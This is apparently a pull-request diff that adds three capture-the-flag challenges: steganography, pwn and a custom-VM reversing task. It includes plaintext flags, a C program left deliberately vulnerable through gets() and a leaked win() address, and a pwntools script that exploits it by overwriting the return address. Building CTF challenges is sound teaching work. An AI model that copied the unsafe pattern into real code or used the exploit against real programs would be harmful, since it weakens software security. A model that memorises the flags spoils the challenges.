Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions challenges/r1-2-hidden_snapshot/artifacts/embed.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
import imageio
import numpy as np

flag = "flag{hell0_l00Ks_l1k3_y0u_f0uNd_1t}"
cover_path = "stego_hello.png"
stego_path = "stego_hello_embedded.png"

# Convert text to bits with 32-bit length header
def text_to_bits(s):
b = s.encode("utf-8")
length = len(b)
header = length.to_bytes(4, byteorder="big")
data = header + b
bits = []
for byte in data:
for i in range(8):
bits.append((byte >> (7-i)) & 1)
return bits

bits = text_to_bits(flag)

# Load cover image
img = imageio.imread(cover_path)
h, w, c = img.shape
capacity = h * w # 1 bit per pixel in blue channel
if len(bits) > capacity:
raise ValueError("Image too small for flag!")

# Flatten blue channel and embed bits
flat_blue = img[:,:,2].flatten() # RGB, blue channel
for i, b in enumerate(bits):
flat_blue[i] = (flat_blue[i] & 0xFE) | b
img[:,:,2] = flat_blue.reshape((h,w))

# Save stego image
imageio.imwrite(stego_path, img)
print("Stego image saved to:", stego_path)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions challenges/r1-2-hidden_snapshot/challenge.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "Hidden Snapshot",
"description": "A cheerful fox waves hello, but that greeting might mean more than it seems. Look closely; maybe the pixels are trying to tell you 'hell0' in their own way.",
"categories": [
"forensics",
"steganography"
],
"flag": "flag{hell0_l00Ks_l1k3_y0u_f0uNd_1t}",
"flag_regex": "flag\\{\\S+\\}"
}

1 change: 1 addition & 0 deletions challenges/r2-2-pwn_leak/artifacts/flag
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
flag{w3lcome_back_t0_win}
Binary file added challenges/r2-2-pwn_leak/artifacts/vuln
Binary file not shown.
39 changes: 39 additions & 0 deletions challenges/r2-2-pwn_leak/artifacts/vuln.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void win() {
FILE *f = fopen("challenges/r2-2-pwn_leak/artifacts/flag", "r");
if (!f) {
puts("Flag missing.");
return;
}
char buf[256];
if (fgets(buf, sizeof(buf), f)) {
size_t n = strlen(buf);
if (n && buf[n-1] == '\n') buf[n-1] = '\0';
printf("Nice! Flag: %s\n", buf);
}
fclose(f);
exit(0);
}

void vuln() {
char buf[128];
puts("Send something:");
// intentionally vulnerable
gets(buf);
puts("Done.");
}

int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
// explicit leak printed at startup
printf("[info] win() is at %p\n", (void*)win);
puts("Welcome to LeakPwn!");
vuln();
puts("Bye");
return 0;
}
11 changes: 11 additions & 0 deletions challenges/r2-2-pwn_leak/challenge.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "r2-2-pwn_leak",
"description": "pwn challenge: the binary leaks win()'s address at startup — overwrite the return address to call win() and retrieve the flag.",
"categories": [
"pwn",
"binary"
],
"flag": "flag{w3lcome_back_t0_win}",
"flag_regex": "flag\\{\\S+\\}"
}

38 changes: 38 additions & 0 deletions challenges/r2-2-pwn_leak/source/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
#!/usr/bin/env python3
from pwn import *
from pathlib import Path
import re, sys

BIN = Path("challenges/r2-2-pwn_leak/artifacts/vuln").resolve()
elf = ELF(str(BIN))
p = process(str(BIN))

# read banner / leak
leak = None
for _ in range(5):
ln = p.recvline(timeout=1)
if not ln:
break
s = ln.decode(errors='ignore')
log.info(s.strip())
m = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', s)
if m:
leak = int(m.group(1), 16)
break

if leak is None:
leak = elf.symbols.get('win')
log.info("Using ELF symbol win() = %s", hex(leak))

# get correct offset here (change if cyclic tells you another number)
offset = 136

p.recvuntil(b"Send something:")
payload = b"A"*offset + p64(leak)
# send raw bytes (no extra newline)
p.send(payload)
# optionally send newline if program requires it:
p.send(b"\n")

print(p.recvall(timeout=2).decode(errors='ignore'))
p.close()
Binary file added challenges/r3-2-chronovault/artifacts/chronovault
Binary file not shown.
144 changes: 144 additions & 0 deletions challenges/r3-2-chronovault/artifacts/chronovault.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,144 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>


static const uint8_t FLAG_CHECK_BYTECODE[] = {
// opcode set (1 byte each) with optional operand bytes
// Opcodes:
// 0x01: LOAD_INPUT idx -> reg = inputs[idx]
// 0x02: ADD_IMM val -> reg = reg + val
// 0x03: XOR_SHIFT val -> reg = reg ^ (val)
// 0x04: ADD_CLOCK_FROM_REG -> clock += reg
// 0x05: MOD_IMM val -> clock = clock % val
// 0x06: XOR_CLOCK val -> clock ^= val
// 0x07: CMP_EQ_IMM val -> if(clock == val) jump +2 (skip next instr)
// 0xff: HALT

// program (hand-crafted):
0x01, 0x00, // LOAD_INPUT 0 (reg = in0)
0x02, 0x03, // ADD_IMM 3 (reg += 3)
0x04, // ADD_CLOCK_FROM_REG (clock += reg)

0x01, 0x01, // LOAD_INPUT 1
0x03, 0x02, // XOR_SHIFT 2 (reg ^= 2)
0x04, // ADD_CLOCK_FROM_REG (clock += reg)

0x05, 0x11, // MOD_IMM 17 (clock %= 17)

0x01, 0x02, // LOAD_INPUT 2
0x02, 0x05, // ADD_IMM 5 (reg += 5)
0x06, 0x2a, // XOR_CLOCK 42 (clock ^= 42)
0x04, // ADD_CLOCK_FROM_REG (clock += reg)

0x01, 0x03, // LOAD_INPUT 3
0x03, 0x01, // XOR_SHIFT 1 (reg ^= 1)
0x02, 0x07, // ADD_IMM 7 (reg += 7)
0x06, 0x00, // XOR_CLOCK 0 (no-op placeholder)
0x04, // ADD_CLOCK_FROM_REG (clock += reg)

0x05, 0xff, // MOD_IMM 255 (final clamp)
0x07, 0x7b, // CMP_EQ_IMM 123 -> if(clock==123) skip next
0xFF // HALT
};

int clock_func(const uint8_t *bytecode, size_t len, int inputs[4], int *out_clock)
{
int ip = 0;
int reg = 0;
int clock = 0;

while (ip < (int)len) {
uint8_t op = bytecode[ip++];
switch (op) {
case 0x01: { // LOAD_INPUT idx
if (ip >= (int)len) return -1;
uint8_t idx = bytecode[ip++];
if (idx >= 4) return -1;
reg = inputs[idx];
break;
}
case 0x02: { // ADD_IMM val
if (ip >= (int)len) return -1;
uint8_t v = bytecode[ip++];
reg = reg + (int)v;
break;
}
case 0x03: { // XOR_SHIFT val
if (ip >= (int)len) return -1;
uint8_t v = bytecode[ip++];
reg = reg ^ (int)v;
break;
}
case 0x04: { // ADD_CLOCK_FROM_REG
clock += reg;
break;
}
case 0x05: { // MOD_IMM val
if (ip >= (int)len) return -1;
uint8_t v = bytecode[ip++];
if (v == 0) return -1;
clock = clock % (int)v;
break;
}
case 0x06: { // XOR_CLOCK val
if (ip >= (int)len) return -1;
uint8_t v = bytecode[ip++];
clock ^= (int)v;
break;
}
case 0x07: { // CMP_EQ_IMM val (if equal, skip next instruction byte)
if (ip >= (int)len) return -1;
uint8_t v = bytecode[ip++];
if (clock == (int)v) {
// intentionally advance ip by 1 to skip the next opcode
if (ip < (int)len) ip++;
}
break;
}
case 0xFF: // HALT
if (out_clock) *out_clock = clock;
return 0;
default:
return -1;
}
}
if (out_clock) *out_clock = clock;
return 0;
}

int main(int argc, char **argv)
{
if (argc != 5) {
fprintf(stderr, "Usage: %s in0 in1 in2 in3\nEach input should be a small integer (0..31 recommended)\n", argv[0]);
return 2;
}

int inputs[4];
for (int i = 0; i < 4; ++i) inputs[i] = atoi(argv[i+1]);

int clock = 0;
int r = clock_func(FLAG_CHECK_BYTECODE, sizeof(FLAG_CHECK_BYTECODE), inputs, &clock);
if (r != 0) {
fprintf(stderr, "VM error\n");
return 3;
}

if (clock == 123) {
FILE *f = fopen("challenges/r3-2-chronovault/source/flag.txt", "r");
if (f) {
char buf[1024];
if (fgets(buf, sizeof(buf), f)) {
printf("%s", buf);
}
fclose(f);
} else {
fprintf(stderr, "flag file not found\n");
}
return 0;
} else {
printf("Clock = %d -- nothing to see.\n", clock);
return 1;
}
}
7 changes: 7 additions & 0 deletions challenges/r3-2-chronovault/challenge.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"name": "r3-2-chronovault",
"categories": ["rev"],
"description": "A small custom VM drives a clock state. Provide four small integers that steer the VM's clock to the secret unlock value. Reverse the bytecode or brute-force the small input space.",
"flag": "flag{chr0n0v4u1t_d34DB3eF}",
"flag_regex": "flag\\{\\S+\\}"
}
Loading